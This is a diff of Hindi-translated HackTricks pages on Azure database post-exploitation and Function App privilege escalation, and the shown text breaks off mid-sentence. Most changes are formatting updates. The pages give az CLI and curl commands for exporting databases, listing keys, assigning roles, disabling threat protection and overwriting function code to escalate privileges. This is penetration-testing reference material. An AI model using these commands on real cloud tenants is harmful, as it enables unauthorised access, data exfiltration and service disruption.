(point-in-time-restore) को सबसे तेज़ पुनर्स्थापना बिंदु का उपयोग करके या कस्टम पुनर्स्थापना बिंदु द्वारा नहीं कर पाएंगे यदि चयनित पुनर्स्थापना समय GTID रीसेट समय से पहले है। और सफल जियो-रीस्टोर केवल 5 दिनों के बाद ही संभव होगा। - -{% code overflow="wrap" %} +इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस के लिए GTID (Global Transaction Identifier) को रीसेट कर सकते हैं। GTID को रीसेट करने से सभी स्वचालित, ऑन-डिमांड बैकअप और जियो-बैकअप अमान्य हो जाएंगे जो रीसेट क्रिया से पहले लिए गए थे। GTID रीसेट के बाद, आप सबसे तेज़ पुनर्स्थापना बिंदु का उपयोग करके या कस्टम पुनर्स्थापना बिंदु द्वारा PITR (point-in-time-restore) करने में असमर्थ होंगे यदि चयनित पुनर्स्थापना समय GTID रीसेट समय से पहले है। और सफल जियो-रीस्टोर केवल 5 दिनों के बाद ही संभव होगा। ```bash az mysql flexible-server reset-gtid \ --name \ --resource-group \ --gtid-set ``` -{% endcode %} +### `Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action` -### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action" - -इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections। - -{% code overflow="wrap" %} +इस अनुमति के साथ, आप Azure पर MySQL Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर के पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। आप एक बैच में निम्नलिखित पैरामीटर को एक साथ अपडेट कर सकते हैं: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, और max_connections। ```bash az mysql flexible-server parameter set-batch \ --resource-group \ --server-name \ --args max_connections= ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` इस अनुमति के साथ, आप MySQL लचीले सर्वरों के लिए एक उपयोगकर्ता-निर्धारित प्रबंधित पहचान सौंप सकते हैं। - -{% code overflow="wrap" %} ```bash az mysql flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} - -### "Microsoft.DBforMySQL/flexibleServers/stop/action" +### `Microsoft.DBforMySQL/flexibleServers/stop/action` इस अनुमति के साथ, आप Azure पर एक PostgreSQL Flexible Server उदाहरण को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा में व्यवधान आ सकता है, जो डेटाबेस पर निर्भर अनुप्रयोगों और उपयोगकर्ताओं को प्रभावित कर सकता है। - -{% code overflow="wrap" %} ```bash az mysql flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforMySQL/flexibleServers/start/action" +### `Microsoft.DBforMySQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az mysql flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 0cbaf0f5e..d6f460ce7 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -5,54 +5,40 @@ ## PostgreSQL डेटाबेस पोस्ट एक्सप्लोइटेशन PostgreSQL डेटाबेस के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-postgresql.md" %} -[az-postgresql.md](../az-services/az-postgresql.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-postgresql.md +{{#endref}} -### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है। - -{% code overflow="wrap" %} +इस अनुमति के साथ, आप Azure पर एक Postgres फ्लेक्सिबल सर्वर इंस्टेंस के भीतर नए डेटाबेस बना सकते हैं। जबकि यह क्रिया स्वयं मौजूदा संसाधनों को संशोधित नहीं करती है, डेटाबेस का अत्यधिक या अनधिकृत निर्माण संसाधन खपत या सर्वर के संभावित दुरुपयोग का कारण बन सकता है। ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write" +### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए बैकअप बनाने की प्रक्रिया शुरू कर सकते हैं। यह उपयोगकर्ताओं को मांग पर बैकअप उत्पन्न करने की अनुमति देता है, जो विशिष्ट समय पर डेटा को संरक्षित करने के लिए उपयोगी हो सकता है। - -{% code overflow="wrap" %} ```bash az postgres flexible-server backup create \ --name \ --resource-group --backup-name ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए Advanced Threat Protection (ATP) सेटिंग्स को कॉन्फ़िगर या अपडेट कर सकते हैं। यह असामान्य गतिविधियों और संभावित खतरों का पता लगाने और प्रतिक्रिया देने के लिए डिज़ाइन की गई सुरक्षा सुविधाओं को सक्षम या अक्षम करने की अनुमति देता है। - -{% code overflow="wrap" %} ```bash az postgres flexible-server threat-protection-policy update \ --name \ --resource-group \ --state ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read` इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server उदाहरण के लिए फ़ायरवॉल नियम बना या संशोधित कर सकते हैं। यह नियंत्रित करता है कि कौन से IP पते या रेंज सर्वर तक पहुँच सकते हैं। इस अनुमति का अनधिकृत या अनुचित उपयोग सर्वर को अवांछित या दुर्भावनापूर्ण पहुँच के लिए उजागर कर सकता है। - -{% code overflow="wrap" %} ```bash # Create Rule az postgres flexible-server firewall-rule create \ @@ -70,13 +56,9 @@ az postgres flexible-server firewall-rule update \ --start-ip-address \ --end-ip-address ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read" +### `Microsoft.DBforPostgreSQL/flexibleServers/configurations/write` && `Microsoft.DBforPostgreSQL/flexibleServers/configurations/read` इस अनुमति के साथ, आप Azure पर एक Postgres Flexible Server instance की कॉन्फ़िगरेशन सेटिंग्स को अपडेट कर सकते हैं। यह सर्वर पैरामीटर जैसे प्रदर्शन ट्यूनिंग, सुरक्षा कॉन्फ़िगरेशन, या संचालन सेटिंग्स को अनुकूलित करने की अनुमति देता है। - -{% code overflow="wrap" %} ```bash az postgres flexible-server parameter set \ --resource-group \ @@ -84,45 +66,36 @@ az postgres flexible-server parameter set \ --name \ --value ``` -{% endcode %} - -### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/stop/action` इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस को रोक सकते हैं। एक सर्वर को रोकने से अस्थायी सेवा में व्यवधान आ सकता है, जो डेटाबेस पर निर्भर अनुप्रयोगों और उपयोगकर्ताओं को प्रभावित कर सकता है। - -{% code overflow="wrap" %} ```bash az postgres flexible-server stop \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/start/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/start/action` With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database. -{% code overflow="wrap" %} ```bash az postgres flexible-server start \ --name \ --resource-group ``` -{% endcode %} -### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action" +### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` With this permission, you can assign a user-assigned managed identity to postgres flexible servers. -{% code overflow="wrap" %} ```bash az postgres flexible-server identity assign \ --resource-group \ --server-name \ --identity ``` -{% endcode %} -### "*/delete" +### `*/delete` With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 880d9ec2b..a9f4dced4 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -10,9 +10,9 @@ SQL Database के बारे में अधिक जानकारी ../az-services/az-sql.md {{#endref}} -### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" +### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` -इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण के भीतर डेटाबेस बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण कार्यों को सक्षम करने के लिए। +इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में डेटाबेस बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, जिससे संचालन में बाधा आ सकती है या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम किया जा सकता है। ```bash # Create Database az sql db create --resource-group --server --name @@ -20,9 +20,9 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` -### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" +### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` -इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में elasticPools बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, संभावित रूप से संचालन को बाधित करने या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम करने के लिए। +इन अनुमतियों के साथ, एक हमलावर समझौता किए गए वातावरण में elasticPools बना और अपडेट कर सकता है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि एक हमलावर को दुर्भावनापूर्ण डेटा जोड़ने, डेटाबेस कॉन्फ़िगरेशन को संशोधित करने, या आगे की स्थिरता के लिए बैकडोर डालने की अनुमति दे सकती है, जो संभावित रूप से संचालन को बाधित कर सकती है या अतिरिक्त दुर्भावनापूर्ण क्रियाओं को सक्षम कर सकती है। ```bash # Create Elastic Pool az sql elastic-pool create \ @@ -40,7 +40,7 @@ az sql elastic-pool update \ --dtu \ --tags ``` -### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" +### `Microsoft.Sql/servers/auditingSettings/read` && `Microsoft.Sql/servers/auditingSettings/write` इस अनुमति के साथ, आप Azure SQL Server पर ऑडिटिंग सेटिंग्स को संशोधित या सक्षम कर सकते हैं। यह एक हमलावर या अधिकृत उपयोगकर्ता को ऑडिट कॉन्फ़िगरेशन में हेरफेर करने की अनुमति दे सकता है, संभावित रूप से ट्रैक को कवर करने या ऑडिट लॉग को उनके नियंत्रण में किसी स्थान पर पुनर्निर्देशित करने की अनुमति दे सकता है। यह सुरक्षा निगरानी में बाधा डाल सकता है या इसे क्रियाओं का ट्रैक रखने में सक्षम बना सकता है। नोट: Blob Storage का उपयोग करके Azure SQL Server के लिए ऑडिटिंग सक्षम करने के लिए, आपको एक स्टोरेज खाता संलग्न करना होगा जहाँ ऑडिट लॉग को सहेजा जा सके। ```bash @@ -51,7 +51,7 @@ az sql server audit-policy update \ --storage-account \ --retention-days 7 ``` -### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" +### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write` इस अनुमति के साथ, आप Azure SQL Server की कनेक्शन नीतियों को संशोधित कर सकते हैं। इस क्षमता का उपयोग सर्वर-स्तरीय कनेक्शन सेटिंग्स को सक्षम या बदलने के लिए किया जा सकता है। ```bash @@ -60,7 +60,7 @@ az sql server connection-policy update \ --resource-group \ --connection-type ``` -### "Microsoft.Sql/servers/databases/export/action" +### `Microsoft.Sql/servers/databases/export/action` इस अनुमति के साथ, आप Azure SQL Server से एक डेटाबेस को एक स्टोरेज अकाउंट में निर्यात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, वह डेटाबेस से संवेदनशील डेटा को एक ऐसी जगह पर निर्यात करके निकाल सकता है जिसे वह नियंत्रित करता है, जिससे डेटा लीक का महत्वपूर्ण जोखिम होता है। इसे करने के लिए स्टोरेज कुंजी जानना महत्वपूर्ण है। ```bash @@ -74,9 +74,9 @@ az sql db export \ --admin-password ``` -### "Microsoft.Sql/servers/databases/import/action" +### `Microsoft.Sql/servers/databases/import/action` -इस अनुमति के साथ, आप एक डेटाबेस को Azure SQL Server में आयात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, संभावित रूप से दुर्भावनापूर्ण या हेरफेर किए गए डेटाबेस अपलोड कर सकता है। इससे संवेदनशील डेटा पर नियंत्रण प्राप्त करने या आयातित डेटाबेस के भीतर हानिकारक स्क्रिप्ट या ट्रिगर्स को एम्बेड करने की संभावना हो सकती है। इसके अतिरिक्त, आप इसे अपने स्वयं के सर्वर में Azure में आयात कर सकते हैं। नोट: सर्वर को Azure सेवाओं और संसाधनों को सर्वर तक पहुंचने की अनुमति देनी चाहिए। +इस अनुमति के साथ, आप Azure SQL Server में एक डेटाबेस आयात कर सकते हैं। एक हमलावर या अधिकृत उपयोगकर्ता जिसके पास यह अनुमति है, संभावित रूप से दुर्भावनापूर्ण या हेरफेर किए गए डेटाबेस अपलोड कर सकता है। इससे संवेदनशील डेटा पर नियंत्रण प्राप्त करने या आयातित डेटाबेस के भीतर हानिकारक स्क्रिप्ट या ट्रिगर्स को एम्बेड करने की संभावना हो सकती है। इसके अतिरिक्त, आप इसे अपने स्वयं के सर्वर में Azure में आयात कर सकते हैं। नोट: सर्वर को Azure सेवाओं और संसाधनों को सर्वर तक पहुंचने की अनुमति देनी चाहिए। ```bash az sql db import --admin-user \ --admin-password \ @@ -85,6 +85,6 @@ az sql db import --admin-user \ --resource-group \ --storage-key-type SharedAccessKey \ --storage-key \ ---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" +--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac` ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index f2c264bbb..a28e5f541 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -5,15 +5,13 @@ ## CosmosDB Privesc SQL Database के बारे में अधिक जानकारी के लिए देखें: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read") +### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`) -इन अनुमतियों के साथ आप एक उपयोगकर्ता को क्वेरी निष्पादित करने और डेटाबेस से कनेक्ट करने के लिए अनुमतियाँ देकर विशेषाधिकार बढ़ा सकते हैं। सबसे पहले एक परिभाषा भूमिका बनाई जाती है जो आवश्यक अनुमतियाँ और दायरे प्रदान करती है। - -{% code overflow="wrap" %} +इन अनुमतियों के साथ आप एक उपयोगकर्ता को क्वेरी निष्पादित करने और डेटाबेस से कनेक्ट करने के लिए अनुमतियाँ देकर विशेषाधिकार बढ़ा सकते हैं। सबसे पहले एक परिभाषा भूमिका बनाई जाती है जो आवश्यक अनुमतियाँ और दायरे देती है। ```bash az cosmosdb sql role definition create \ --account-name \ @@ -36,11 +34,7 @@ az cosmosdb sql role definition create \ ] }' ``` -{% endcode %} - इसके बाद परिभाषा का असाइनमेंट एक उपयोगकर्ता को दिया जाता है। इसके बाद वह उपयोगकर्ता DefaultAzureCredential() कनेक्शन विधि का उपयोग करके क्वेरी निष्पादित कर सकता है। - -{% code overflow="wrap" %} ```bash az cosmosdb sql role assignment create \ --account-name \ @@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \ --principal-id \ --scope "/" ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/listKeys/action" -इस अनुमति के साथ, आप Azure Cosmos DB खाते के प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं। - -{% code overflow="wrap" %} +### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` +इस अनुमति के साथ, आप Azure Cosmos DB खाते के लिए प्राथमिक और द्वितीयक कुंजी प्राप्त कर सकते हैं। ये कुंजी डेटाबेस खाते और इसके संसाधनों तक पूर्ण पहुंच प्रदान करती हैं, जिससे डेटा पढ़ने, लिखने और कॉन्फ़िगरेशन परिवर्तनों जैसी क्रियाएँ सक्षम होती हैं। ```bash az cosmosdb keys list \ --name \ --resource-group ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 454690f86..2d955b574 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -12,15 +12,15 @@ ### Bucket Read/Write -यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो **विभिन्न कंटेनरों** (कस्टम या पूर्व-निर्धारित नामों के साथ) को ढूंढना संभव है जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं। +यदि आपके पास उस Storage Account के अंदर कंटेनरों को पढ़ने की अनुमति है जो फ़ंक्शन डेटा को स्टोर करता है, तो आप **विभिन्न कंटेनरों** (कस्टम या पूर्व-परिभाषित नामों के साथ) को खोज सकते हैं जो **फ़ंक्शन द्वारा निष्पादित कोड** को समाहित कर सकते हैं। एक बार जब आप यह पता लगा लेते हैं कि फ़ंक्शन का कोड कहाँ स्थित है, यदि आपके पास उस पर लिखने की अनुमति है, तो आप फ़ंक्शन को कोई भी कोड निष्पादित करने के लिए बना सकते हैं और फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ा सकते हैं। -- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE)` +- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` और `WEBSITE_CONTENTSHARE`) फ़ंक्शन का कोड आमतौर पर एक फ़ाइल शेयर के अंदर स्टोर किया जाता है। पर्याप्त पहुंच के साथ, कोड फ़ाइल को संशोधित करना और **फ़ंक्शन को मनमाना कोड लोड करने** के लिए बनाना संभव है, जिससे फ़ंक्शन से जुड़े प्रबंधित पहचान के लिए विशेषाधिकार बढ़ाना संभव हो जाता है। -यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं +यह तैनाती विधि आमतौर पर सेटिंग्स **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** और **`WEBSITE_CONTENTSHARE`** को कॉन्फ़िगर करती है, जिसे आप प्राप्त कर सकते हैं ```bash az functionapp config appsettings list \ --name \ @@ -31,7 +31,7 @@ az functionapp config appsettings list \ > [!CAUTION] > फ़ाइल शेयर से कनेक्ट करने और **स्क्रिप्ट को संशोधित करने** के लिए पर्याप्त अनुमति के साथ, फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है। -निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करने के लिए है, लेकिन फ़ाइल शेयर के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है: +निम्नलिखित उदाहरण macOS का उपयोग करके फ़ाइल शेयर से कनेक्ट करता है, लेकिन फ़ाइल शेयरों के बारे में अधिक जानकारी के लिए निम्नलिखित पृष्ठ की जांच करना भी अनुशंसित है: {{#ref}} ../az-services/az-file-shares.md @@ -55,10 +55,10 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने** के लिए स्टोरेज अकाउंट से कोड में शामिल करेगा। +यह कॉन्फ़िगरेशन आमतौर पर **SAS URL को डाउनलोड करने के लिए** स्टोरेज अकाउंट से कोड प्राप्त करने के लिए शामिल होगा। > [!CAUTION] -> यदि ब्‍लॉब कंटेनर से कनेक्‍ट करने के लिए पर्याप्‍त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्‍शन में मनमाने कोड को निष्‍पादित करना और विशेषाधिकार बढ़ाना संभव है। +> यदि ब्‍लॉब कंटेनर से कनेक्‍ट करने के लिए पर्याप्‍त अनुमति है जो **कोड को ज़िप में शामिल करता है**, तो फ़ंक्‍शन में मनमाने कोड को निष्‍पादित करना और विशेषाधिकारों को बढ़ाना संभव है। - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` @@ -101,7 +101,7 @@ unsquashfs -d /tmp/fs /tmp/scm-latest-.zip यह भी संभव है कि **मास्टर और फ़ंक्शन कुंजी** को स्टोरेज खाते में **`azure-webjobs-secrets`** कंटेनर में **``** फ़ोल्डर के अंदर JSON फ़ाइलों में संग्रहीत किया गया हो। > [!CAUTION] -> यदि ज़िप एक्सटेंशन फ़ाइल में **कोड** को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है (जो वास्तव में एक **`squashfs`** है) तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है। +> यदि **ज़िप एक्सटेंशन फ़ाइल** (जो वास्तव में एक **`squashfs`** है) में कोड को रखने वाले ब्लॉब कंटेनर से कनेक्ट करने के लिए पर्याप्त अनुमति है, तो फ़ंक्शन में मनमाना कोड निष्पादित करना और विशेषाधिकार बढ़ाना संभव है। ```bash # Modify code inside the script in /tmp/fs adding your code @@ -116,9 +116,9 @@ az storage blob upload \ --file /tmp/scm-latest-.zip \ --overwrite ``` -### Microsoft.Web/sites/host/listkeys/action +### `Microsoft.Web/sites/host/listkeys/action` -यह अनुमति निर्दिष्ट फ़ंक्शन के फ़ंक्शन, मास्टर और सिस्टम कुंजियों को सूचीबद्ध करने की अनुमति देती है, लेकिन होस्ट कुंजी नहीं, के साथ: +यह अनुमति निर्दिष्ट कार्य के कार्य, मास्टर और सिस्टम कुंजी को सूचीबद्ध करने की अनुमति देती है, लेकिन मेज़बान कुंजी नहीं। ```bash az functionapp keys list --resource-group --name ``` @@ -143,19 +143,19 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro -H "If-Match: *" \ -v ``` -### Microsoft.Web/sites/functions/listKeys/action +### `Microsoft.Web/sites/functions/listKeys/action` यह अनुमति निर्दिष्ट फ़ंक्शन की होस्ट कुंजी प्राप्त करने की अनुमति देती है: ```bash az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01" ``` -### Microsoft.Web/sites/host/functionKeys/write +### `Microsoft.Web/sites/host/functionKeys/write` यह अनुमति निर्दिष्ट फ़ंक्शन की फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है: ```bash az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/host/masterKey/write +### `Microsoft.Web/sites/host/masterKey/write` यह अनुमति निर्दिष्ट फ़ंक्शन के लिए मास्टर कुंजी बनाने/अपडेट करने की अनुमति देती है: ```bash @@ -164,15 +164,15 @@ az functionapp keys set --resource-group --key-name --key > [!CAUTION] > याद रखें कि इस कुंजी के साथ आप स्रोत कोड तक भी पहुँच सकते हैं और इसे पहले बताए गए अनुसार संशोधित कर सकते हैं! -### Microsoft.Web/sites/host/systemKeys/write +### `Microsoft.Web/sites/host/systemKeys/write` -यह अनुमति निर्दिष्ट कार्य के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है: +यह अनुमति निर्दिष्ट फ़ंक्शन के लिए एक सिस्टम फ़ंक्शन कुंजी बनाने/अपडेट करने की अनुमति देती है: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` -### Microsoft.Web/sites/config/list/action +### `Microsoft.Web/sites/config/list/action` -यह अनुमति एक फ़ंक्शन की सेटिंग्स प्राप्त करने की अनुमति देती है। इन कॉन्फ़िगरेशन के अंदर, यह संभव है कि **`AzureWebJobsStorage`** या **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** के डिफ़ॉल्ट मान मिलें, 